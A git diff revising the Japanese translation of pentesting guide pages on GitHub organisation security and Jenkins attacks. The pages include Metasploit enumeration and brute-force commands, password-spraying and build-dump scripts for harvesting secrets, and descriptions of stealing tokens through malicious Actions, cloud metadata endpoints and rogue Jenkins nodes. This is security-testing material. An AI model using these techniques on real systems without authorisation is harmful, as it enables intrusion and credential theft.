+これらの役割の**権限を比較する**ことができます。この表で: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### メンバーの権限
 
-_https://github.com/organizations/\<org_name>/settings/member_privileges_ では、**組織の一部であることによってユーザーが持つ権限**を見ることができます。
+_https://github.com/organizations/\<org_name>/settings/member_privileges_ で、**組織の一部であることによってユーザーが持つ権限**を確認できます。
 
 ここで設定された内容は、組織のメンバーの以下の権限を示します：
 
-- 組織のすべてのリポジトリに対する管理者、ライター、リーダー、または無権限であること。
+- 組織のすべてのリポジトリに対して管理者、ライター、リーダー、または権限なしであること。
 - メンバーがプライベート、内部、またはパブリックリポジトリを作成できるかどうか。
 - リポジトリのフォークが可能かどうか。
 - 外部コラボレーターを招待できるかどうか。
@@ -52,24 +52,24 @@ _https://github.com/organizations/\<org_name>/settings/member_privileges_ では
 デフォルトでは、リポジトリの役割が作成されます：
 
 - **読み取り**: **コードに貢献しない**人々がプロジェクトを表示または議論するために推奨されます。
-- **トリアージ**: **問題やプルリクエストを積極的に管理する必要がある貢献者**に推奨されますが、書き込みアクセスはありません。
-- **書き込み**: プロジェクトに**積極的にプッシュする**貢献者に推奨されます。
+- **トリアージ**: **書き込みアクセスなしで問題やプルリクエストを積極的に管理する**必要がある貢献者に推奨されます。
+- **書き込み**: **プロジェクトに積極的にプッシュする**貢献者に推奨されます。
 - **メンテナンス**: **リポジトリを管理する必要があるプロジェクトマネージャー**に推奨されますが、機密または破壊的なアクションへのアクセスはありません。
 - **管理者**: **プロジェクトに完全にアクセスする必要がある**人々に推奨されます。これには、セキュリティの管理やリポジトリの削除などの機密かつ破壊的なアクションが含まれます。
 
-各役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+各役割の**権限を比較する**ことができます。この表で [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
 また、_https://github.com/organizations/\<org_name>/settings/roles_ で**独自の役割を作成する**こともできます。
 
 ### チーム
 
-_https://github.com/orgs/\<org_name>/teams_ で、**組織内に作成されたチームのリストを表示する**ことができます。他のチームの子チームを見るには、各親チームにアクセスする必要があります。
+_https://github.com/orgs/\<org_name>/teams_ で、**組織内に作成されたチームをリスト**できます。他のチームの子チームを表示するには、各親チームにアクセスする必要があります。
 
 ### ユーザー
 
-組織のユーザーは、_https://github.com/orgs/\<org_name>/people_ で**リスト表示**できます。
+組織のユーザーは、_https://github.com/orgs/\<org_name>/people_ で**リスト**できます。
 
-各ユーザーの情報では、**ユーザーが所属するチーム**や、**ユーザーがアクセスできるリポジトリ**を見ることができます。
+各ユーザーの情報には、**ユーザーがメンバーであるチーム**や、**ユーザーがアクセスできるリポジトリ**が表示されます。
 
 ## Github認証
 
@@ -77,80 +77,80 @@ Githubは、アカウントに認証し、あなたの代わりにアクショ
 
 ### ウェブアクセス
 
-**github.com**にアクセスすると、**ユーザー名とパスワード**（および**2FAの可能性**）を使用してログインできます。
+**github.com**にアクセスすると、**ユーザー名とパスワード**（および**2FA**が必要な場合があります）を使用してログインできます。
 
 ### **SSHキー**
 
-関連する**プライベートキーがあなたの代わりにアクションを実行できるように、1つまたは複数の公開鍵でアカウントを構成できます。** [https://github.com/settings/keys](https://github.com/settings/keys)
+1つまたは複数の公開鍵でアカウントを構成でき、関連する**秘密鍵があなたの代わりにアクションを実行できる**ようにします。[https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **GPGキー**
 
-これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。 [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) で詳細を学んでください。
+これらのキーでユーザーを偽装することは**できません**が、使用しない場合、**署名なしでコミットを送信することで発見される可能性があります**。詳細については、[ここで警戒モードについて学んでください](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)。
 
 ### **個人アクセストークン**
 
-アプリケーションに**アカウントへのアクセスを与える**ために、個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定する**必要があります。 [https://github.com/settings/tokens](https://github.com/settings/tokens)
+アプリケーションに**アカウントへのアクセスを与える**ために個人アクセストークンを生成できます。個人アクセストークンを作成する際、**ユーザー**は**トークン**が持つ**権限**を**指定**する必要があります。[https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Oauthアプリケーション
 
 Oauthアプリケーションは、**あなたのGithub情報の一部にアクセスするための権限を要求したり、あなたを偽装していくつかのアクションを実行したりする**ことがあります。この機能の一般的な例は、いくつかのプラットフォームで見られる**Githubでログインボタン**です。
 
-- 自分の**Oauthアプリケーション**を[https://github.com/settings/developers](https://github.com/settings/developers)で**作成**できます。
-- あなたのアカウントにアクセスできるすべての**Oauthアプリケーション**を[https://github.com/settings/applications](https://github.com/settings/applications)で見ることができます。
-- Oauthアプリが要求できる**スコープ**を[https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)で見ることができます。
-- 組織内のアプリケーションの**サードパーティアクセス**を_https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で見ることができます。
+- [https://github.com/settings/developers](https://github.com/settings/developers) で独自の**Oauthアプリケーションを作成**できます。
+- [https://github.com/settings/applications](https://github.com/settings/applications) で、**あなたのアカウントにアクセス権を持つすべてのOauthアプリケーション**を確認できます。
+- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) で、**Oauthアプリが要求できるスコープ**を確認できます。
+- _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ で、組織内のアプリケーションのサードパーティアクセスを確認できます。
 
 いくつかの**セキュリティ推奨事項**：
 
-- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです（たとえば、ユーザー通知を提供する場合）し、指定されたスコープのみにアクセスします。
+- **OAuthアプリ**は常に**GitHub全体で認証されたGitHubユーザーとして行動する**べきです（たとえば、ユーザー通知を提供する場合）し、指定されたスコープにのみアクセスします。
 - OAuthアプリは、認証されたユーザーのために「GitHubでログイン」を有効にすることで、アイデンティティプロバイダーとして使用できます。
-- **単一のリポジトリ**でアクションを実行するアプリケーションを作成しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。
-- **チームや会社**のアプリケーションとして機能するためにOAuthアプリを作成しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社用にOAuthアプリを作成し、その後会社を離れると、他の誰もそれにアクセスできなくなります。
+- **単一のリポジトリ**でアクションを実行するアプリケーションを作成したい場合は、**OAuthアプリ**を構築しないでください。`repo` OAuthスコープを使用すると、OAuthアプリは**認証されたユーザーのすべてのリポジトリに対してアクションを実行できます**。
+- **チームや会社のためのアプリケーションとして機能する**ためにOAuthアプリを構築しないでください。OAuthアプリは**単一のユーザー**として認証されるため、1人が会社のためにOAuthアプリを作成し、その後会社を離れた場合、他の誰もそれにアクセスできなくなります。
 - **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)で。
 
 ### Githubアプリケーション
 
-Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりするための権限を要求する**ことがあります。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。
+Githubアプリケーションは、**あなたのGithub情報にアクセスしたり、あなたを偽装して特定のリソースに対して特定のアクションを実行したりする**ための権限を要求できます。Githubアプリでは、アプリがアクセスできるリポジトリを指定する必要があります。
 
 - GitHubアプリをインストールするには、**組織のオーナーまたはリポジトリの管理者権限**を持っている必要があります。
 - GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
-- 自分のGithubアプリケーションを[https://github.com/settings/apps](https://github.com/settings/apps)で作成できます。
-- あなたのアカウントにアクセスできるすべての**Githubアプリケーション**を[https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)で見ることができます。
-- これらは**GithubアプリケーションのAPIエンドポイント**です: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。
-- 組織内のインストールされたアプリを_https://github.com/organizations/\<org_name>/settings/installations_ で見ることができます。
+- [https://github.com/settings/apps](https://github.com/settings/apps) で独自のGithubアプリケーションを作成できます。
+- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) で、**あなたのアカウントにアクセス権を持つすべてのGithubアプリケーション**を確認できます。
+- これらは**GithubアプリケーションのAPIエンドポイント**です [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)。アプリの権限に応じて、いくつかのエンドポイントにアクセスできるようになります。
+- _https://github.com/organizations/\<org_name>/settings/installations_ で、組織内のインストールされたアプリを確認できます。
 
 いくつかのセキュリティ推奨事項：
 
-- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです（アプリが[ユーザーからサーバーへの](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く）。ユーザーからサーバーへのアクセスをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセストークンのリフレッシュ](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。
+- GitHubアプリは**ユーザーとは独立してアクションを実行する**べきです（アプリが[user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)トークンを使用している場合を除く）。ユーザーからサーバーへのアクセストークンをより安全に保つために、8時間後に期限切れになるアクセストークンと、新しいアクセストークンと交換できるリフレッシュトークンを使用できます。詳細については、「[ユーザーからサーバーへのアクセス トークンの更新](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)」を参照してください。
 - GitHubアプリが**特定のリポジトリ**と統合されていることを確認してください。
 - GitHubアプリは**個人アカウントまたは組織に接続する**必要があります。
-- GitHubアプリがユーザーができるすべてのことを知って行うことを期待しないでください。
+- GitHubアプリがユーザーができるすべてのことを知って行動することを期待しないでください。
 - **「GitHubでログイン」サービスが必要なだけの場合は、GitHubアプリを使用しないでください**。ただし、GitHubアプリは、ユーザーをログインさせるために[user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)を使用して、ユーザーをログインさせることができます_そして_他のことを行うことができます。
-- GitHubユーザーとしてのみ機能し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを作成しないでください。
+- GitHubユーザーとしてのみ行動し、そのユーザーができるすべてのことを行いたい場合は、GitHubアプリを構築しないでください。
 - GitHub Actionsを使用してアプリを使用し、ワークフローファイルを変更したい場合は、`workflow`スコープを含むOAuthトークンを使用してユーザーの代わりに認証する必要があります。ユーザーは、ワークフローファイルを含むリポジトリに対して管理者または書き込み権限を持っている必要があります。詳細については、「[OAuthアプリのスコープの理解](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)」を参照してください。
 - **詳細は**[こちら](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)で。
 
 ### Github Actions
 
-これは**Githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**Githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。
+これは**githubで認証する方法**ではありませんが、**悪意のある**Github Actionが**githubに不正アクセスする**可能性があり、**与えられた権限**に応じて、いくつかの**異なる攻撃**が行われる可能性があります。詳細については以下を参照してください。
 
 ## Gitアクション
 
-Gitアクションは、**イベントが発生したときにコードの実行を自動化する**ことを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**（たとえば、Dockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど）。
+Gitアクションは、**イベントが発生したときにコードの実行を自動化**することを可能にします。通常、実行されるコードは**リポジトリのコードに関連している**（おそらくDockerコンテナをビルドするか、PRに秘密が含まれていないかを確認するなど）。
 
 ### 設定
 
 _https://github.com/organizations/\<org_name>/settings/actions_ で、組織の**Githubアクションの設定**を確認できます。
 
-Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することも可能です。
+Githubアクションの使用を完全に禁止することも、**すべてのGithubアクションを許可する**ことも、特定のアクションのみを許可することもできます。
 
 また、**Github Actionを実行するために承認が必要な人**や、Github Actionが実行されるときの**GITHUB_TOKENの権限**を設定することもできます。
 
 ### Git Secrets
 
-Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可しています。
+Github Actionは通常、Githubやサードパーティアプリケーションと対話するために何らかの秘密を必要とします。リポジトリに**平文で置かないようにするために**、Githubはそれらを**Secrets**として配置することを許可します。
 
-これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするためには**、次のように宣言する必要があります：
+これらの秘密は、**リポジトリまたは組織全体のために設定**できます。その後、**Actionが秘密にアクセスできるようにするために**、次のように宣言する必要があります：
 ```yaml
 steps:
 - name: Hello world action
@@ -170,73 +170,73 @@ example-command "$SUPER_SECRET"
 > [!WARNING]
 > Secrets **は、それらが宣言されている Github Actions からのみアクセス可能です**。
 
-> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができます**。
+> リポジトリまたは組織に設定されると、**github のユーザーは再度アクセスできなくなります**。彼らはただ **変更することができる** だけです。
 
-したがって、**github secrets を盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**（そのシナリオでは、Action のために宣言された秘密にのみアクセスできます）。
+したがって、**github シークレットを盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**（そのシナリオでは、Action に対して宣言されたシークレットのみアクセス可能になります）。
 
 ### Git Environments
 
-Github は **環境** を作成することを許可しており、そこで **secrets** を保存できます。次に、環境内の秘密に対するアクセスを github action に与えることができます。
+Github は **環境** を作成することを許可しており、そこに **シークレット** を保存できます。次に、環境内のシークレットへのアクセスを github action に与えることができます。
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-You can configure an environment to be **アクセス** by **すべてのブランチ** (default), **保護された** branches only or **指定** which branches can access it.\
-It can also set a **必要なレビューの数** before **アクションを実行** using an **環境** or **待機** some **時間** before allowing deployments to proceed.
+環境を**すべてのブランチ**（デフォルト）、**保護されたブランチのみ**、または**アクセスできるブランチを指定**するように構成できます。\
+また、**環境**を使用して**アクションを実行する前に必要なレビューの数**を設定したり、デプロイメントが進行する前に**一定の時間待機**することもできます。
 
 ### Git Action Runner
 
-A Github Action can be **実行される inside the github environment** or can be executed in a **サードパーティのインフラ** configured by the user.
+Github Actionは**github環境内で実行**することも、ユーザーが構成した**サードパーティのインフラストラクチャ**で実行することもできます。
 
-Several organizations will allow to run Github Actions in a **サードパーティのインフラ** as it use to be **安価**.
+いくつかの組織は、**サードパーティのインフラストラクチャ**でGithub Actionsを実行することを許可します。これは通常**安価**だからです。
 
-You can **リスト the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+組織の**セルフホストランナー**をリストするには、_https://github.com/organizations/\<org_name>/settings/actions/runners_にアクセスします。
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+**非Githubインフラストラクチャで実行されているGithub Actionsを見つける方法**は、Github Actionの設定yamlで`runs-on: self-hosted`を検索することです。
 
-It's **異なる組織の self hosted box** inside a **Github Action of an organization** because **Runnerのために一意のトークンが生成される** when configuring it to know where the runner belongs.
+異なる組織の**セルフホストボックス内で組織のGithub Actionを実行することはできません**。これは、ランナーを構成する際に**ユニークなトークンが生成され**、ランナーがどこに属しているかを知るためです。
 
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **メタデータエンドポイントにアクセスできる** and **サービスアカウントのトークンを盗む** the machine is running with.
+例えば、カスタム**Github RunnerがAWSやGCP内のマシンに構成されている場合**、アクションは**メタデータエンドポイントにアクセスでき**、マシンが実行しているサービスアカウントのトークンを**盗む**ことができます。
 
 ### Git Action Compromise
 
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **悪意のある** and will **侵害する** the **コンテナ** where it's being executed.
+すべてのアクション（または悪意のあるアクション）が許可されている場合、ユーザーは**悪意のあるGithubアクション**を使用して、実行されている**コンテナを侵害**することができます。
 
 > [!CAUTION]
-> A **悪意のあるGithub Action** run could be **悪用される** by the attacker to:
+> **悪意のあるGithub Action**の実行は、攻撃者によって次のように**悪用**される可能性があります：
 >
-> - **すべてのシークレットを盗む** the Action has access to
-> - **横移動する** if the Action is executed inside a **サードパーティのインフラ** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **トークンを悪用する** used by the **ワークフロー** to **リポジトリのコードを盗む** where the Action is executed or **さらには変更する**.
+> - アクションがアクセスできる**すべての秘密を盗む**
+> - アクションが**サードパーティのインフラストラクチャ**内で実行されている場合、マシンを実行するために使用されるSAトークンにアクセスして**横移動**する（おそらくメタデータサービス経由で）
+> - **ワークフロー**によって使用されるトークンを**悪用して、アクションが実行されているリポジトリのコードを盗む**か、**変更する**。
 
 ## Branch Protections
 
-Branch protections are designed to **リポジトリの完全な制御をユーザーに与えない**. The goal is to **いくつかの保護方法を設ける** before being able to write code inside some branch.
+ブランチ保護は、ユーザーに**リポジトリの完全な制御を与えない**ように設計されています。目標は、**特定のブランチ内でコードを書く前にいくつかの保護方法を設ける**ことです。
 
-The **リポジトリのブランチ保護** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+リポジトリの**ブランチ保護**は、_https://github.com/\<orgname>/\<reponame>/settings/branches_で見つけることができます。
 
 > [!NOTE]
-> It's **組織レベルでブランチ保護を設定することはできない**. So all of them must be declared on each repo.
+> **組織レベルでブランチ保護を設定することはできません**。したがって、すべての保護は各リポジトリで宣言する必要があります。
 
-Different protections can be applied to a branch (like to master):
+ブランチに適用できるさまざまな保護（例えばmaster）：
 
-- You can **マージ前にPRを要求する** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **承認の数を要求する**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **新しいコミットがプッシュされたときに承認を無効にする**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **コードオーナーからのレビューを要求する**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **プルリクエストレビューを無効にできる人を制限する**. You can specify people or teams allowed to dismiss pull request reviews.
-- **指定されたアクターがプルリクエスト要件をバイパスできるようにする**. These users will be able to bypass previous restrictions.
-- **マージ前にステータスチェックが通過することを要求する**. Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **マージ前に会話の解決を要求する**. All comments on the code needs to be resolved before the PR can be merged.
-- **署名されたコミットを要求する**. The commits need to be signed.
-- **線形履歴を要求する**. Prevent merge commits from being pushed to matching branches.
-- **管理者を含める**. If this isn't set, admins can bypass the restrictions.
-- **一致するブランチにプッシュできる人を制限する**. Restrict who can send a PR.
+- **マージ前にPRを要求**できます（したがって、ブランチに直接コードをマージすることはできません）。これが選択されると、他のさまざまな保護が適用される可能性があります：
+- **承認の数を要求**します。PRを承認するために1人または2人以上の人の承認を要求することは非常に一般的で、単一のユーザーが直接コードをマージできないようにします。
+- **新しいコミットがプッシュされたときに承認を無効にする**。そうでない場合、ユーザーは正当なコードを承認し、その後悪意のあるコードを追加してマージする可能性があります。
+- **コードオーナーからのレビューを要求**します。リポジトリの少なくとも1人のコードオーナーがPRを承認する必要があります（したがって「ランダム」なユーザーは承認できません）。
+- **プルリクエストレビューを無効にできる人を制限**します。プルリクエストレビューを無効にできる人やチームを指定できます。
+- **指定されたアクターがプルリクエスト要件をバイパスできるようにします**。これらのユーザーは以前の制限をバイパスできます。
+- **マージ前にステータスチェックが通過することを要求**します。コミットをマージする前にいくつかのチェックが通過する必要があります（例えば、クリアテキストの秘密がないことを確認するGithubアクションなど）。
+- **マージ前に会話の解決を要求**します。コードに対するすべてのコメントは、PRをマージする前に解決される必要があります。
+- **署名されたコミットを要求**します。コミットは署名される必要があります。
+- **線形履歴を要求**します。マージコミットが一致するブランチにプッシュされるのを防ぎます。
+- **管理者を含める**。これが設定されていない場合、管理者は制限をバイパスできます。
+- **一致するブランチにプッシュできる人を制限**します。PRを送信できる人を制限します。
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **リポジトリは保護されているため、例えばmasterにコードをプッシュすることを避けることができる**.
+> ご覧のとおり、ユーザーの資格情報を取得できたとしても、**リポジトリが保護されているため、例えばmasterにコードをプッシュすることを避けることができます**。
 
 ## References
 

src/pentesting-ci-cd/jenkins-security/README.md

@@ -4,7 +4,7 @@
 
 ## 基本情報
 
-Jenkinsは、パイプラインを使用して、ほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**（CI/CD）環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。
+Jenkinsは、パイプラインを使用してほぼ**すべての**プログラミング言語とソースコードリポジトリの**継続的インテグレーション**または**継続的デリバリー**（CI/CD）環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは**個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが**、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。
 
 {{#ref}}
 basic-jenkins-information.md
@@ -12,17 +12,17 @@ basic-jenkins-information.md
 
 ## 認証されていない列挙
 
-興味深いJenkinsページを認証なしで検索するために（_ /people_や_ /asynchPeople_のように、これにより現在のユーザーがリストされます）、次のように使用できます：
+認証なしで興味深いJenkinsページを検索するには（例：_/people_や_/asynchPeople_、これは現在のユーザーをリストします）、次のようにします：
 ```
 msf> use auxiliary/scanner/http/jenkins_enum
 ```
-認証なしでコマンドを実行できるか確認してください：
+認証なしでコマンドを実行できるか確認してください:
 ```
 msf> use auxiliary/scanner/http/jenkins_command
 ```
-認証情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。
+資格情報がない場合、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ で **ユーザー名** を確認できます。
 
-_**/oops**_ または _**/error**_ パスから Jenkins バージョンを取得できるかもしれません。
+_**/oops**_ または _**/error**_ パスから Jenkins のバージョンを取得できるかもしれません。
 
 ![](<../../images/image (146).png>)
 
@@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins
 
 ## ログイン
 
-基本情報では、**Jenkins 内にログインするためのすべての方法**を確認できます：
+基本情報では、**Jenkins 内にログインするすべての方法**を確認できます：
 
 {{#ref}}
 basic-jenkins-information.md
@@ -42,29 +42,29 @@ basic-jenkins-information.md
 
 ### 登録
 
-アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。とても簡単です。
+アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。**それだけです。**
 
 ### **SSO ログイン**
 
-また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント（例：テスト **Github/Bitbucket アカウント**）を使用してアプリケーションに**ログイン**を試みるべきです。[**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリックを参照してください。
+また、**SSO** **機能**/**プラグイン** が存在する場合は、テストアカウント（例：テスト **Github/Bitbucket アカウント**）を使用してアプリケーションに**ログイン**を試みるべきです。 [**こちら**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/)のトリック。
 
 ### ブルートフォース
 
-**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が欠けています。**弱いパスワード** や **ユーザー名をパスワードとして使用する** 可能性があるため、ユーザーを **ブルートフォース** することが重要です。さらに、**逆のユーザー名をパスワードとして使用する** ケースもあります。
+**Jenkins** は **パスワードポリシー** と **ユーザー名のブルートフォース緩和** が不足しています。**弱いパスワード**や **ユーザー名をパスワードとして使用**している可能性があるため、ユーザーを**ブルートフォース**することが重要です。**逆のユーザー名をパスワードとして使用**している場合もあります。
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
 ### パスワードスプレー
 
-[このPythonスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py)または[このPowerShellスクリプト](https://github.com/chryzsh/JenkinsPasswordSpray)を使用してください。
+Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
 
 ### IPホワイトリストバイパス
 
-多くの組織は、GitHubやGitLabのような**SaaSベースのソース管理（SCM）システム**を、JenkinsやTeamCityのような**内部の自己ホスト型CI**ソリューションと組み合わせています。このセットアップにより、CIシステムは主にパイプラインジョブをトリガーするために、**SaaSソース管理ベンダー**から**ウェブフックイベント**を受信できます。
+多くの組織は、**SaaSベースのソース管理（SCM）システム**（GitHubやGitLabなど）を**内部の自己ホスト型CI**ソリューション（JenkinsやTeamCityなど）と組み合わせています。この設定により、CIシステムは**SaaSソース管理ベンダー**からの**ウェブフックイベント**を受信し、主にパイプラインジョブをトリガーすることができます。
 
-これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにします。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。
+これを実現するために、組織は**SCMプラットフォーム**の**IP範囲**を**ホワイトリスト**に登録し、**ウェブフック**を介して**内部CIシステム**にアクセスできるようにしています。しかし、**誰でも**GitHubやGitLabに**アカウント**を作成し、**ウェブフックをトリガー**するように設定できるため、**内部CIシステム**にリクエストを送信する可能性があります。
 
-確認してください: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
+Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
 ## 内部Jenkinsの悪用
 
@@ -73,7 +73,7 @@ msf> use auxiliary/scanner/http/jenkins_login
 > [!WARNING]
 > Jenkinsに設定された**認証**メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。**
 
-詳細については、基本情報を確認してください:
+詳細については、基本情報を確認してください：
 
 {{#ref}}
 basic-jenkins-information.md
@@ -83,9 +83,9 @@ basic-jenkins-information.md
 
 Jenkinsにアクセスした場合、[http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)で他の登録ユーザーをリスト表示できます。
 
-### プレーンテキストの秘密を見つけるためのビルドダンプ
+### プレーンテキストの秘密を見つけるためのビルドのダンプ
 
-[このスクリプト](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py)を使用して、ビルドコンソール出力とビルド環境変数をダンプし、プレーンテキストの秘密を見つけることを期待します。
+Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
@@ -93,15 +93,15 @@ gitleaks detect --no-git -v
 ```
 ### **SSH資格情報の盗難**
 
-もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、SSH資格情報が他のノードにアクセスするためにすでに保存されていると、彼は**ノードを作成/変更し、資格情報を記録するホストを設定することによってそれらの資格情報を盗む**ことができます。ホストキーを検証せずに:
+もし侵害されたユーザーが**新しいJenkinsノードを作成/変更するのに十分な権限を持っている**場合、他のノードにアクセスするためのSSH資格情報がすでに保存されていると、彼は**ホストを設定して資格情報を記録する**ことによって**それらの資格情報を盗む**ことができます。ホストキーを検証せずに:
 
 ![](<../../images/image (218).png>)
 
-通常、JenkinsのSSH資格情報は**グローバルプロバイダー**（`/credentials/`）に見つかるので、他の秘密をダンプするのと同様にそれらをダンプすることもできます。詳細は[**秘密のダンプセクション**](./#dumping-secrets)を参照してください。
